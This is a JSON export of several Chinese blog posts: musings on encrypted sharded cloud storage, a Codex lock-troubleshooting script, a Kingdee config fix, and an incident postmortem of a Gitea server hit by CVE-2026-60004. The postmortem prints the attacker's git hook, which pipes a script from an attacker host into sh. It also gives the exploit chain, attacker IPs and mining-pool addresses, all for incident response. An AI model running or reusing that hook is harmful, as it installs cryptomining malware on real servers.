[{"authors":null,"categories":null,"content":"最近我把不少心思放在一件事上：给个人数据找个安全的安放之处。不是因为藏着什么了不得的秘密，就是单纯觉得，自己的文件凭什么要光着放在别人家的柜子里。这些天我缠着 Codex 来回问了一堆问题，想法一点一点磨成型。最后我把这方案想明白了——结论是不可行，我也不会真的去做。写下来，是怕过阵子连\u0026#34;当初为什么这么想\u0026#34;都忘了，也想把这份思考分享出去。\n这篇只是我的思考记录，不是完整的技术方案。文里涉及的平台现状、限速数值、封号案例，都是我了解到的信息，云盘的策略变得很快，请以实际情况为准。\n起因其实有点跑题。我先是查 JuiceFS 是什么：数据和元数据分离，数据放对象存储，元数据放数据库，POSIX 兼容，还和 K8s 集成得很好。我又追问了一句\u0026#34;为什么说它容量近乎无限\u0026#34;，得到的解释是：数据层跑在对象存储上，容量取决于对象存储集群本身，扩容对使用者完全透明。\n本来到这儿，了解一个新工具就够了。可我问了一个把方向整个带跑的问题：它有没有\u0026#34;不被平台审查\u0026#34;的能力？\n答案是没有。JuiceFS 自己不审查任何东西，审查发生在底层的对象存储：公有云的 OSS、COS 都带着内容审核，只有自建 MinIO，才谈得上不受平台审查。\n我不死心，又追问：那把文件分片呢？分片之后，平台总看不出来了吧？\n答案依然是没有。分片只是传输层的一种优化手段，平台审查的对象是合并还原之后的完整文件。你把它碎成一百块，拼起来还是它，审查照样落在它头上。\n这两句回答让我愣了一会儿。我真正在意的其实根本不是\u0026#34;搭一个存储系统\u0026#34;，而是一个更朴素的东西：我的数据，能不能有一层连平台都读不懂的外壳。\n顺着这个念头，我开始琢磨\u0026#34;有没有真正的分片存储\u0026#34;——云端存的本来就是一个个分片，下载到本地再还原，再配合加密，让每个分片单独拿出来都毫无意义。答案是有，Horcrux 这类工具早就实现了。\n但我很快认清了一个区别：这类工具规避的是\u0026#34;内容审查\u0026#34;，不是\u0026#34;行为风控\u0026#34;。平台确实读不懂你的数据是什么，但它看得懂你的行为反常——比如短时间内高频上传一大堆加密小文件。审查是从内容上拦你，风控是从行为上标记你，这是两码事。\n所以绕回最开始，我的目的其实就一句话：我就是为了个人数据安全。加密、分片、分散存储，对这个目的来说完全合理；代价是密钥管理的责任全部落在我自己头上，恢复数据也比\u0026#34;一个文件夹多端同步\u0026#34;麻烦得多。这个代价，当时我觉得可以接受；不过后来会发现，真正挡路的还不止这笔账。\n想清楚之后，方案慢慢成形：一个客户端，生成一个加密文件作为密钥，这个密钥文件能传到其他设备；客户端对接各大云盘，做到加密存储、分块存储。\n我一度以为这种需求应该很常见，结果把现有的工具翻了一圈，找不到完全对得上的。Horcrux 最接近，Cryptomator 最成熟，但\u0026#34;用一个密钥文件解锁整个云盘\u0026#34;——没有现成方案。\n分块这件事我也细化过：不是所有文件都分块。小文件整体加密直传就好，只有大文件才加密后分块、分散存放，另外需要一个索引文件，记录每个分片放在哪。\n这样恢复流程就清楚了：跨端带一个密钥文件，从云盘导入索引文件，两者合起来就能把数据取回来。密钥文件小而稳定，索引文件随数据变化而变，两个文件分离，各管一段。\n文件要分享给别人，直接把密钥文件发过去不现实。用信封加密：拿接收者的公钥去加密 File Key，生成一个只属于这次分享的密钥文件，接收者用自己的私钥解开，就能还原内容。\n这里有个特别容易绕晕的点。云盘为了保证内容安全，密文本来就不会公开可访问——云盘鉴权负责\u0026#34;你能把密文下载下来\u0026#34;，我的分享密钥文件负责\u0026#34;你能把密文解开\u0026#34;。两层各管各的，正好互补，不用指望云盘来当这一层锁。\n后来我还冒出过一个更偷懒的想法：按时间动态生成几个文件夹，每个自带密码，里面放各部分分片，那公开访问是不是也无所谓了？逻辑上成立，但有个前提得分清：“访问密码\u0026#34;和\u0026#34;解密密钥\u0026#34;是两回事。把密文挂到网上，等于把锁柜大剌剌摆在街上，密码的强度就是仅有的安全底线——太弱的密码，挡不住慢慢试的人。\n到这儿，方案在纸面上已经挺完整了。真正把我拉回地面的，是\u0026#34;下载\u0026#34;这件事。\n给对方下载文件是个很实际的问题：有的平台不支持在线下载，有的要登录，有的限速。这个环节只能塞进客户端内部：优先走 API 拉取，WebDAV 当适配层，实在不行再解析直链兜底。\n然后我按\u0026#34;稳定、支持 API、不限速、不用企业资质\u0026#34;这几个条件，把国内平台一个个过了一遍，越看越清醒：\n百度网盘：API 下载照样限速，非会员 96~170KB/s；SVIP 的官方客户端能满速，API 却仍然受限。社区有模拟官方客户端换直链的方案，那是拿封号风险换的。 123 云盘、光鸭云盘：相对最接近理想，但都没让我放心。123 的风控出了名激进，有过\u0026#34;18TB 原创素材被封、要求加钱升级商用版\u0026#34;的案例；光鸭的风险，当时只聊到它不能完全排除，具体我没再深挖。 阿里云盘第三方工具永久封号，115 对\u0026#34;孤本文件高频上传\u0026#34;这种异常行为有风控，百度对加密压缩包也有自己的限制。 蓝奏云一度像是发现了捷径：每个分片 50MB 不就行了？技术上可行，但分卷压缩可能失效、下载只能一个一个点、条款对内容审查严格，更别说它根本没有官方 API，社区方案脆弱也不稳定。 OSS 的账也算过：存储费不高，流量费才是大头，100GB 存储加 100GB 下载，一个月大概 59 元。想白嫖的话，Cloudflare R2 最接近完美——10GB 存储、流出免费；中科院数据胶囊给了 20GB 免费，但注册繁琐、没有桌面客户端、没有增量同步、还会长期静默清空数据，定位上就是个毛坯房。 绕了一大圈，理论上每一步都是走得通的：加密、分片、分散存储、信封加密分享、密钥和索引分离……但要把这些串成一个能用的成品，却找不到落点。要么平台限速限到让人没耐心恢复数据，要么风控随时可能封掉账号，要么各家平台的体验拼不出一个\u0026#34;接近无感\u0026#34;的完整方案。方案不可行，问题不在某个环节本身，而在于\u0026#34;拼起来\u0026#34;这件事。\n所以这篇文章的结论并不漂亮：这方案最终判定不可行，我也不打算真的去做。花这么多时间想明白\u0026#34;为什么不可行”，本身也算一点收获。把它写下来，就当把想法分享给同样动过念头的人——如果哪天真有人找到更好的路子，希望这篇能帮他省掉前面这些弯路。\n","date":1789457400,"expirydate":-62135596800,"kind":"page","lang":"zh-cn","language":"","lastmod":1789460109,"objectID":"f51cd802b4f7988d094d68b7214c82ed","permalink":"https://06xy.cn/post/personal-data-encrypted-shard-cloud-thinking/","publishdate":"2026-09-15T15:30:00+08:00","relpermalink":"/post/personal-data-encrypted-shard-cloud-thinking/","repository":"","section":"post","summary":"想把文件加密、分片、分散存到各云盘的想法，从 JuiceFS 一路问到方案、比对平台、测算成本。想明白之后判断这方案不可行，也决定不会去做——把思考过程记下来当个想法分享。","tags":["云存储","加密","分片存储","想法"],"title":"给个人数据找个安放之处：加密、分片，然后撞上云盘的现实","type":"post"},{"authors":null,"categories":null,"content":"","date":1786702770,"expirydate":-62135596800,"kind":"page","lang":"zh-cn","language":"Flutter","lastmod":1786702770,"objectID":"c62d30712820013238db5de20e500afc","permalink":"https://06xy.cn/repositories/password-assistant/","publishdate":"2026-08-14T18:19:30+08:00","relpermalink":"/repositories/password-assistant/","repository":"https://github.com/06xy/PasswordAssistant","section":"repositories","summary":"基于Flutter的密码管理工具。","tags":null,"title":"PasswordAssistant","type":"repositories"},{"authors":null,"categories":null,"content":"前天晚上阿里云弹了一条安全告警，提示服务器上有异常进程。当时手头正好有事，看了一眼没细究，想着\u0026#34;明天再说\u0026#34;。结果\u0026#34;明天\u0026#34;我登录 Gitea 后台，直接被用户列表吓了一跳：一长串 testpoc 开头的随机账号，随便点开一个，里面挂着同样随机命名的 poc-xxxxx 仓库。\n这不是手滑注册的机器人，是服务器已经被人打下来了。\n这篇文章记录的是我自己的 Gitea（Gitea Enterprise 24.6.0，Docker 部署）被利用 CVE-2026-60004 植入 XMRig 挖矿木马后的完整复盘：中招表现、排查思路、清除步骤和教训。文中的命令都是本次实测用过的，但请根据自己的环境和路径调整。\n中招表现 这次攻击留下的痕迹非常典型，如果你也自建了 Gitea，可以对照检查：\n用户列表出现大量 testpoc+五位随机数 账号，注册时间集中在几天内，邮箱是 testpocxxxxx@test.local 这种批量生成的地址：\n每个账号下都有一个 poc+随机数 的仓库，仓库里除了 README 就只有两个文件：README.md 和 hooks/post-index-change。\n仓库里多了一个叫 rce-proof 的分支，分支下有一个 proof 文件。\n容器进程列表里能看到 ./linuxsys 和一堆卡死的 hooks/post-index-change 进程。\n之前阿里云告警的内容，就是这些挖矿进程。\n把仓库里的脚本发给 AI 问了一句 仓库里那个 hooks/post-index-change 我一开始没看懂，只觉得很不对劲。它大概长这样：\n#!/bin/sh git_dir=$(git rev-parse --absolute-git-dir) || exit 1 origin_objects=$(sed -n \u0026#34;1p\u0026#34; \u0026#34;$git_dir/objects/info/alternates\u0026#34;) || exit 2 # ... 找到 origin 仓库的 git 目录 ... output_blob=$(curl -s -k https://repositoryubuntu.publicvm.com/linuxsh | sh 2\u0026gt;\u0026amp;1 | git --git-dir=\u0026#34;$origin_git\u0026#34; hash-object -w --stdin) || exit 4 # ... 把命令输出写成 blob，提交，然后 ... git --git-dir=\u0026#34;$origin_git\u0026#34; update-ref refs/heads/rce-proof \u0026#34;$commit\u0026#34; 看不懂很正常，我直接把脚本丢给 AI：\nCodex 很快给出结论——这是 CVE-2026-60004（GHSA-rcr6-4jqh-j84m）的利用 payload，并且服务器上已经执行过了：\n脚本的逻辑是：hook 在服务器上执行时，通过 objects/info/alternates 反查到\u0026#34;来源仓库\u0026#34;（也就是攻击者自己的仓库），然后把命令执行结果作为 blob 写进仓库，再创建一个 rce-proof 分支。攻击者随后用 GET /api/v1/repos/\u0026lt;owner\u0026gt;/poc-xxxxx/raw/proof?ref=rce-proof 把输出拉走——这就是\u0026#34;我已经拿到 RCE\u0026#34;的证明。\n我们仓库里 proof 文件的实际内容是：\ncrontab: must be suid to work properly 说明挖矿脚本尝试写 crontab 做持久化，但因为容器里 crontab 没有 suid 位而失败了。真是好险。\n排查过程 确认中毒之后，我按\u0026#34;仓库 → 进程 → 日志 → 数据库 → 影响范围\u0026#34;的顺序过了一遍。\n1. 先把恶意仓库和分支翻出来 Gitea 的仓库在数据目录下（1Panel 部署时是 /opt/1panel/apps/gitea/gitea/data/git/repositories/），先看有没有 testpoc 目录：\nfind /opt/1panel/apps/gitea/gitea/data/git/repositories -maxdepth 2 -type d | grep testpoc 再看仓库里的分支和 proof 内容：\ngit --git-dir=\u0026lt;仓库路径\u0026gt;/poc-xxxxx.git for-each-ref git --git-dir=\u0026lt;仓库路径\u0026gt;/poc-xxxxx.git cat-file -p \u0026#39;refs/heads/rce-proof^{tree}\u0026#39; 正常的仓库不会有 rce-proof 分支，也不该有 proof 这个文件。\n2. 顺着进程找到挖矿程序 Gitea 跑在 Docker 容器里，直接看容器内的进程：\ndocker top 1Panel-gitea-osuJ 结果发现除了正常的 gitea web，还有：\nadmin ... /bin/sh hooks/post-index-change 0 0 admin ... git --git-dir=.../testpoc87960/poc-23584.git hash-object -w --stdin admin ... ./linuxsys ./linuxsys 就是挖矿程序本体。进程还在跑，二进制可以直接从 /proc/\u0026lt;pid\u0026gt;/exe 提取（进程结束后就没了，要先保存再杀）：\ncp /proc/\u0026lt;pid\u0026gt;/exe /tmp/linuxsys.bin strings /tmp/linuxsys.bin | grep -i xmrig 结果确认是 XMRig 6.18.0（Monero 挖矿程序），SHA256：\n3928c5874249cc71b2d88e5c0c00989ac394238747bb7638897fc210531b4aab 再看它的网络连接，发现了 3 个外连地址：\n103.30.194.78:80 45.32.185.122:3333 178.128.242.134:443 这是挖矿矿池/代理地址。这个套路和公开报告的 Linuxsys 挖矿团伙 一致：利用各类漏洞批量打服务器，然后部署 XMRig。\n3. 用访问日志还原完整攻击链 openresty 的访问日志里，攻击者的行为一目了然：\ngrep -E \u0026#39;diffpatch|raw/proof|sign_up\u0026#39; 访问日志 | grep \u0026#39;Aug/2026\u0026#39; 攻击链路是：\nPOST /user/sign_up 注册 testpoc 随机账号 POST /api/v1/user/repos 创建 poc-xxxxx 仓库 POST /api/v1/repos/.../diffpatch 触发漏洞（关键！） GET /api/v1/repos/.../raw/proof?ref=rce-proof 拉取命令执行结果 按时间整理出来的攻击者 IP（全是境外 VPS，推测是同一伙人轮换节点）：\n时间 (2026-08) 来源 IP 账号 06 02:19 172.105.25.90 testpoc60874（首个） 07 21:10 185.148.0.208 testpoc89617 11 02:29 172.233.44.91 testpoc85539 12 06:19~18:28 172.235.229.243 testpoc81407/84892/87960/95017/51520/56033 13 00:18 172.235.229.243 testpoc93555/46919 13 04:09 103.13.206.65 testpoc80024 13 05:27 172.234.102.123 testpoc37242（最后一次） 也就是说，攻击从 8 月 6 日就开始了，持续了一整周，直到我清理掉。\n4. 查数据库，确认账号和令牌 Gitea 的数据库里能看到这些账号的注册时间，以及有没有 API Token、有没有被提权成管理员：\nSELECT id, lower_name, is_admin, FROM_UNIXTIME(created_unix) FROM user WHERE lower_name LIKE \u0026#39;testpoc%\u0026#39;; SELECT id, uid, name FROM access_token; 我这边的情况是：所有 testpoc 账号都是普通用户，没有 API Token，也没有新增管理员。但这不代表仓库数据安全——攻击者拿到的是 Gitea 服务账号的权限，容器内所有仓库对他都是可读的。\n5. 评估影响范围：容器 vs 宿主机 这是最需要冷静判断的一步。我检查了容器配置：\ndocker inspect \u0026lt;gitea容器\u0026gt; --format \u0026#39;{{.HostConfig.Privileged}} {{.HostConfig.CapAdd}} {{json .Mounts}}\u0026#39; 结果是：非特权、没有额外 capability、没有挂载 docker.sock，只挂载了 Gitea 数据目录。再看进程权限 CapEff=0、seccomp 开启。也就是说：\n攻击者被困在 Gitea 容器里，没有直接逃逸到宿主机； 但容器内 /data（全部仓库、配置文件、数据库口令）完全可读写。 宿主机层面我也检查了一遍：/root/.ssh/authorized_keys 为空、没有新增 crontab、没有可疑 systemd 服务、没有新用户。结论是宿主机暂时没发现失陷痕迹，但 Gitea 的私有仓库内容一律按\u0026#34;已泄露\u0026#34;处理。\n攻击链复盘 这次的漏洞是 CVE-2026-60004（CVSS 9.8），影响 Gitea 1.17 ~ 1.27.0：\n攻击者向 diffpatch 接口提交一个精心构造的补丁； 同一个补丁提交两次，触发 add/add 冲突，Git 的三路合并回退会把文件写入仓库的 hook 目录； 仓库根目录下的 hooks/post-index-change 因此变成了\u0026#34;活的\u0026#34; git hook； Gitea 在更新索引时执行这个 hook，代码就以 Gitea 服务账号身份运行； hook 下载执行 linuxsh/cronsys 脚本，部署 XMRig 挖矿，并把执行结果回传到 rce-proof 分支。 配合 Gitea 默认开放注册，整个利用完全自动化：注册 → 建仓 → 打补丁 → 收 proof，全程无人值守。我的服务器就是在 DISABLE_REGISTRATION = false 的情况下被批量扫到的。\n清除步骤 确认范围和清除方法后，我按这个顺序处理：\n1. 先保存证据，再杀进程\ncp /proc/\u0026lt;linuxsys的pid\u0026gt;/exe /home/admin/ppp/linuxsys.bin # 先取证 docker exec 1Panel-gitea-osuJ pkill -9 -f linuxsys docker exec 1Panel-gitea-osuJ pkill -9 -f \u0026#39;hooks/post-index-change\u0026#39; docker exec 1Panel-gitea-osuJ pkill -9 -f \u0026#39;hash-object -w --stdin\u0026#39; 杀完之后再 docker top 确认只剩正常的 gitea 进程。\n2. 清理残留\nGitea 的临时仓库目录（data/gitea/tmp/local-repo/）里留着两个带恶意 hook 的 upload.git* 目录，取证后删除。我把完整攻击相关的证据（木马样本、恶意仓库副本、访问日志、容器日志、IoC 清单）先打包到一个目录里，下载完之后再删。\n3. 删除恶意账号和仓库\n在 Gitea 管理后台把 testpoc* 账号全部删除（仓库会跟着删掉）。注意：删账号不会杀掉容器里还在跑的进程，所以顺序上先杀进程 …","date":1786617e3,"expirydate":-62135596800,"kind":"page","lang":"zh-cn","language":"","lastmod":1786617622,"objectID":"779c75ae5bb7199560d03a6b755a2ed1","permalink":"https://06xy.cn/post/gitea-cve-2026-60004-xmrig-postmortem/","publishdate":"2026-08-13T18:30:00+08:00","relpermalink":"/post/gitea-cve-2026-60004-xmrig-postmortem/","repository":"","section":"post","summary":"阿里云昨天就告警了，我没当回事，今天才发现 Gitea 里多了一堆 testpoc 随机账号、仓库里多了 rce-proof 分支。从进程、日志到数据库，完整复盘这次 CVE-2026-60004 挖矿攻击的排查与清除。","tags":["Gitea","安全","应急响应","CVE-2026-60004","挖矿木马"],"title":"我的 Gitea 服务器被植入挖矿木马：CVE-2026-60004 入侵复盘","type":"post"},{"authors":null,"categories":null,"content":"最近在服务器上使用 codex-cli 时遇到一个很容易让人误判的问题：终端意外关闭后，我以为原来的 Codex 会话丢了，于是在新终端里执行 codex resume，结果直接恢复失败。\n原始报错如下：\n■ Failed to resume session from /home/ubuntu/.codex/sessions/2026/08/10/rollout-2026- 08-10T01-12-14-019fe93a-37ae-7952-8b4e-4fdc38a7289a.jsonl: thread/resume failed during TUI bootstrap: thread/resume failed: thread 019fe93a-37ae-7952-8b4e-4fdc38a7289a already has an active writer (code -32600) 第一反应很容易是：会话文件坏了、历史丢了、或者 resume 本身出问题了。但最后查下来，真正的问题不是会话损坏，而是旧的 Codex 进程还活着，并且仍然持有这个线程的写者锁。\n这篇文章记录的是 codex-cli 0.147.0 环境下的一次实测排障。相关机制来自 openai/codex PR #34986 引入的单写者约束：同一个 paginated thread 同一时间只允许一个活着的 writer 写入。\n现象：新终端无法恢复旧会话 出问题的场景是：\n我在 SSH 终端里开着 Codex TUI； 终端窗口意外关闭或断开； 我重新连上服务器； 执行 codex resume； Codex 报 already has an active writer (code -32600)。 这个报错里的关键不是 Failed to resume session，而是：\nthread 019fe93a-37ae-7952-8b4e-4fdc38a7289a already has an active writer 也就是说，Codex 认为这个 thread 仍然有一个“活着的写者”。为了避免两个进程同时向同一个会话线程写入，它拒绝了新的恢复请求。\n根因：旧进程还握着 thread-writer-lock codex-cli 0.147.0 包含 2026-07 合入的 openai/codex PR #34986，标题是：\nEnforce single-writer ownership for paginated threads 这个变更的核心逻辑是：\n创建或恢复 paginated thread 时，会获取一个 per-thread filesystem lock； 这个锁会在 live recorder 生命周期内一直保留； 如果另一个进程竞争同一个 thread/resume，会返回 JSON-RPC 错误 -32600； writer 被 discard、delete 或 shutdown 后，才释放 ownership； stale lock files 可以清理，但不能影响 active writers。 本机实测时，报错里的线程：\n019fe93a-37ae-7952-8b4e-4fdc38a7289a 对应锁文件是：\n/home/ubuntu/.codex/thread-writer-locks/019fe93a-37ae-7952-8b4e-4fdc38a7289a.lock 用 lsof 看，锁文件正被某个旧 PID 持有，并且是带写锁打开：\n49uW 同时 who 还能看到旧的 pts/0 仍然处于登录状态。也就是说，从客户端看终端像是关了，但服务端并没有真正结束那次 SSH 会话，旧的 Codex 进程也没有退出。\n因此，新终端里的 codex resume 不是恢复不了历史，而是被旧进程有意挡住了。\n先确认：会话文件通常没坏 这次报错里提到的 session 文件是：\n/home/ubuntu/.codex/sessions/2026/08/10/rollout-2026-08-10T01-12-14-019fe93a-37ae-7952-8b4e-4fdc38a7289a.jsonl 排查时这个文件仍然存在，大小约 2.8MB，最后一条也是完整结束的助手回复。换句话说，历史并没有丢，只是当前 thread 的写入权仍然被旧进程占用。\n这里不要急着删 session 文件，也不要手工改 .jsonl。这类问题优先处理“谁还持有锁”。\n最简单的解决方式 如果还能找到原来的终端，比如 who 显示 pts/0 仍然在线，那最安全的做法是：\n回到那个终端里的 Codex TUI 继续使用；或 在旧 Codex TUI 里正常退出，例如 Ctrl+C； 然后在新终端里重新执行 codex resume。 正常退出后，旧 writer 生命周期结束，锁会释放，新终端就能恢复。\n旧终端不可达怎么办 如果旧终端已经不可达，就要结束残留进程。关键原则是：\n不要直接删除所有 lock 文件； 不要误杀当前正在运行的 Codex； 先找出持有 ~/.codex/thread-writer-locks/*.lock 的进程； 结束残留进程后，让内核释放文件锁； 只清理无人持有、且为空的孤儿锁文件。 为了以后遇到同类问题不用重复手动排查，我写了一个小脚本：codex-unlock。\n使用方法 codex-unlock # 交互式：列出状态 -\u0026gt; 确认 -\u0026gt; 清理 -\u0026gt; 验证 codex-unlock --list # 只查看当前锁状态（只读） codex-unlock --clean # 只清理无人持有的孤儿锁 codex-unlock --kill PID # 指定结束某些残留进程 我建议第一次先执行：\ncodex-unlock --list 看清楚当前到底有哪些进程持有锁，再决定是否清理。\n如果确认某个旧 PID 是残留 Codex 进程，可以指定结束：\ncodex-unlock --kill 1737986 也可以直接运行交互模式：\ncodex-unlock 它会先列出状态，再让你确认是否结束残留持有者。\n脚本内容 #!/usr/bin/env bash # # codex-unlock - 排查并释放 Codex 线程\u0026#34;写者锁\u0026#34;（thread-writer-locks） # # 何时用：终端意外关闭/断开后，旧 codex 进程没退出，导致新终端恢复会话报错： # thread/resume failed: thread xxx already has an active writer (code -32600) # # 用法： # codex-unlock 交互式：列出状态 -\u0026gt; 确认 -\u0026gt; 结束残留进程 -\u0026gt; 清理孤儿锁 -\u0026gt; 验证 # codex-unlock --list 只查看当前锁状态（只读，不改任何东西） # codex-unlock --kill PID1 PID2 结束指定残留进程（自动跳过当前会话自身） # codex-unlock --clean 只清理\u0026#34;无人持有\u0026#34;的孤儿锁文件 # codex-unlock -h 查看帮助 # # 安全设计： # 1. 自动识别当前 Codex 会话的进程祖先链并跳过，绝不会误杀自己； # 2. --clean 只删除 0 字节且当前无任何进程持有的锁文件，绝不动 .coordination.lock； # 3. 结束进程先 SIGTERM，3 秒不退再 SIGKILL。 set -u LOCKS_DIR=\u0026#34;${CODEX_LOCKS_DIR:-$HOME/.codex/thread-writer-locks}\u0026#34; SELF_PID=\u0026#34;$$\u0026#34; die() { printf \u0026#39;错误: %s\\n\u0026#39; \u0026#34;$*\u0026#34; \u0026gt;\u0026amp;2; exit 1; } [ -d /proc ] || die \u0026#34;仅支持 Linux（依赖 /proc 扫描文件锁）\u0026#34; usage() { sed -n \u0026#39;2,20p\u0026#39; \u0026#34;$0\u0026#34; | sed \u0026#39;s/^# \\{0,1\\}//\u0026#39; } # 当前会话的祖先链 PID（含自身），这些进程永远不杀 collect_protected() { local pid=\u0026#34;$SELF_PID\u0026#34; ppid while [ \u0026#34;$pid\u0026#34; -gt 1 ] 2\u0026gt;/dev/null; do printf \u0026#39;%s\\n\u0026#39; \u0026#34;$pid\u0026#34; ppid=$(awk \u0026#39;{print $4}\u0026#39; \u0026#34;/proc/$pid/stat\u0026#34; 2\u0026gt;/dev/null) || break [ -z \u0026#34;$ppid\u0026#34; ] || [ \u0026#34;$ppid\u0026#34; = \u0026#34;$pid\u0026#34; ] \u0026amp;\u0026amp; break pid=\u0026#34;$ppid\u0026#34; done } # 扫描所有进程，输出每行 \u0026#34;PID\u0026lt;TAB\u0026gt;锁文件路径\u0026#34;（排序去重） scan_holders() { local d pid fd tgt for d in /proc/[0-9]*; do [ -d \u0026#34;$d/fd\u0026#34; ] || continue pid=\u0026#34;${d#/proc/}\u0026#34; for fd in \u0026#34;$d\u0026#34;/fd/*; do [ -e \u0026#34;$fd\u0026#34; ] || continue tgt=$(readlink \u0026#34;$fd\u0026#34; 2\u0026gt;/dev/null) || continue case \u0026#34;$tgt\u0026#34; in \u0026#34;$LOCKS_DIR\u0026#34;/*.lock) printf \u0026#39;%s\\t%s\\n\u0026#39; \u0026#34;$pid\u0026#34; \u0026#34;$tgt\u0026#34; ;; esac done done | sort -u } # 只保留非当前会话的持有者 PID（去重） stale_pids() { local protected pid protected=$(collect_protected) scan_holders | cut -f1 | sort -u | while read -r pid; do grep -qw \u0026#34;$pid\u0026#34; \u0026lt;\u0026lt;\u0026lt;\u0026#34;$protected\u0026#34; || printf \u0026#39;%s\\n\u0026#39; \u0026#34;$pid\u0026#34; done } cmd_of() { tr \u0026#39;\\0\u0026#39; \u0026#39; \u0026#39; \u0026lt; \u0026#34;/proc/$1/cmdline\u0026#34; 2\u0026gt;/dev/null | cut -c1-140 } list_holders() { if [ ! -d \u0026#34;$LOCKS_DIR\u0026#34; ]; then echo \u0026#34;目录不存在: $LOCKS_DIR\u0026#34; echo \u0026#34;说明当前还没有任何 Codex 线程锁，直接 codex resume 即可。\u0026#34; return fi echo \u0026#34;== 当前持有线程写者锁的进程 ==\u0026#34; local line pid lock local any=0 while IFS=$\u0026#39;\\t\u0026#39; read -r pid lock; do [ -n \u0026#34;$pid\u0026#34; ] || continue any=1 printf \u0026#39;PID %-8s 运行时间/终端: %s\\n\u0026#39; \u0026#34;$pid\u0026#34; \u0026#34;$(ps -o etime=,tty= -p \u0026#34;$pid\u0026#34; 2\u0026gt;/dev/null | tr -s \u0026#39; \u0026#39;)\u0026#34; printf \u0026#39; 锁: %s\\n\u0026#39; \u0026#34;${lock##*/}\u0026#34; printf \u0026#39; 命令: %s\\n\u0026#39; \u0026#34;$(cmd_of \u0026#34;$pid\u0026#34;)\u0026#34; done \u0026lt;\u0026lt;\u0026lt; \u0026#34;$(scan_holders)\u0026#34; [ \u0026#34;$any\u0026#34; = 0 ] \u0026amp;\u0026amp; echo \u0026#34; 无\u0026#34; echo echo \u0026#34;== 无人持有的孤儿锁文件（可安全清理） ==\u0026#34; local held orphan f held=$(scan_holders | cut -f2) orphan=0 for f in \u0026#34;$LOCKS_DIR\u0026#34;/*.lock; do [ -f \u0026#34;$f\u0026#34; ] || continue case \u0026#34;$f\u0026#34; in */.coordination.lock) continue ;; esac if ! grep -qxF \u0026#34;$f\u0026#34; …","date":1786329e3,"expirydate":-62135596800,"kind":"page","lang":"zh-cn","language":"","lastmod":1786336026,"objectID":"fa76d7e61b88f86a80eb6a603a98ed39","permalink":"https://06xy.cn/post/codex-resume-active-writer-unlock/","publishdate":"2026-08-10T10:30:00+08:00","relpermalink":"/post/codex-resume-active-writer-unlock/","repository":"","section":"post","summary":"终端意外关闭后，Codex 会话恢复失败并提示 already has an active writer。最后发现不是会话丢了，而是旧进程还持有 thread-writer-lock。","tags":["Codex","codex-cli","排障","Linux"],"title":"Codex resume 报 already has an active writer，我写了个 codex-unlock","type":"post"},{"authors":null,"categories":null,"content":"最近在金蝶云苍穹的开发服务云里预览应用时，我遇到了一个看起来很像网络故障的问题。\n点击预览后，页面直接提示功能异常，服务端的关键报错是：\n请求FormService:createConfig失败，原因:未发现AppIdName(r1h7_office_manage)服务或访问服务网络异常.错误码:1002 错误里带着“访问服务网络异常”，一开始很容易把注意力放到 Kubernetes 网络、Dubbo 或 Zookeeper 上。但最后查下来，网络并没有问题，真正漏掉的是对应 .lib 文件中的一项应用配置。\n这次使用的是金蝶云苍穹/星瀚 8.0.4.4，本地部署在 Kubernetes 中，命名空间为 ierp-cluster。出问题的应用编码是 r1h7_office_manage，它建在已有的低代码/开发云下，并不是新建了一个云。\n从日志确认服务没有注册 查看 mservice 日志时，我发现 Dubbo/Zookeeper 没有找到这个应用对应的 provider：\ngroup=r1h7_office_manage urls: [empty://0.0.0.0/...] invokers not available 也就是说，预览时 mservice 想调用 r1h7_office_manage 对应的 DispatchService，但运行时根本没有注册这个应用的服务。\n多个页面预览时都出现了相同错误，而且报错都集中在 FormService:createConfig 和 AppIdName 服务查找上，因此基本可以排除某个页面控件或表单字段配置错误。\n走过的弯路：给容器设置 appids 看到应用服务没有注册后，我先尝试给 mservice 增加环境变量：\nsudo kubectl set env deployment/mservice \\ -n ierp-cluster \\ appids=r1h7_office_manage,r1h7_test1 环境变量确实进入了容器，但重启后日志里依然没有出现下面这类注册记录：\nRegister dubbo service kd.bos.service.DispatchService ... group=r1h7_office_manage 我也试过大小写不同的 appIds，结果反而让系统出现了更严重的不可用提示。到这里可以确认，单独设置 Kubernetes 环境变量并不能解决这个问题。\n真正容易混淆的地方也在这里：后面要修改的 \u0026lt;appIds\u0026gt; 是 .lib 文件中的 XML 节点，不是容器环境变量 appids。\n真正生效的是 nocode.lib 根据 domain 部署模式的资源加载方式，容器启动时会通过 BOSLIBS、TRDLIBS、BIZLIBS、CUSLIBS、libs、domain 等参数从应用仓库加载资源。已有云下面新增应用时，还需要把应用编码写进对应 .lib 文件的 \u0026lt;appIds\u0026gt; 节点。\n我先列出了 appstore 中的 .lib 文件：\nsudo find /kingdee/cosmic/nginx-appstatic/store/appstatic/appstore/cosmic \\ -maxdepth 2 -type f -name \u0026#34;*.lib\u0026#34; 2\u0026gt;/dev/null \\ | sort 低代码云对应的文件是：\n/kingdee/cosmic/nginx-appstatic/store/appstatic/appstore/cosmic/nocode.lib 查看文件内容：\nsudo sed -n \u0026#39;1,160p\u0026#39; \\ /kingdee/cosmic/nginx-appstatic/store/appstatic/appstore/cosmic/nocode.lib 当时文件里的配置是：\n\u0026lt;root\u0026gt; \u0026lt;libs\u0026gt; \u0026lt;lib\u0026gt;bos/bos.xml,bos-nocode.xml\u0026lt;/lib\u0026gt; \u0026lt;lib\u0026gt;trd/trd.xml\u0026lt;/lib\u0026gt; \u0026lt;/libs\u0026gt; \u0026lt;appIds\u0026gt;nocode\u0026lt;/appIds\u0026gt; \u0026lt;/root\u0026gt; 问题到这里就清楚了：运行时只加载了 nocode，并不知道新应用 r1h7_office_manage 的存在。mservice 启动后自然不会注册它的 DispatchService，预览时也就找不到 group=r1h7_office_manage。\n修改配置 先备份原文件：\nlib=/kingdee/cosmic/nginx-appstatic/store/appstatic/appstore/cosmic/nocode.lib sudo cp \u0026#34;$lib\u0026#34; \u0026#34;$lib.bak.$(date +%Y%m%d%H%M%S)\u0026#34; 然后把新应用编码追加到 \u0026lt;appIds\u0026gt; 中。修改前是：\n\u0026lt;appIds\u0026gt;nocode\u0026lt;/appIds\u0026gt; 修改后是：\n\u0026lt;appIds\u0026gt;nocode,r1h7_office_manage\u0026lt;/appIds\u0026gt; 可以直接执行：\nsudo sed -i \\ \u0026#39;s#\u0026lt;appIds\u0026gt;nocode\u0026lt;/appIds\u0026gt;#\u0026lt;appIds\u0026gt;nocode,r1h7_office_manage\u0026lt;/appIds\u0026gt;#\u0026#39; \\ \u0026#34;$lib\u0026#34; sudo sed -n \u0026#39;1,80p\u0026#39; \u0026#34;$lib\u0026#34; 确认 .lib 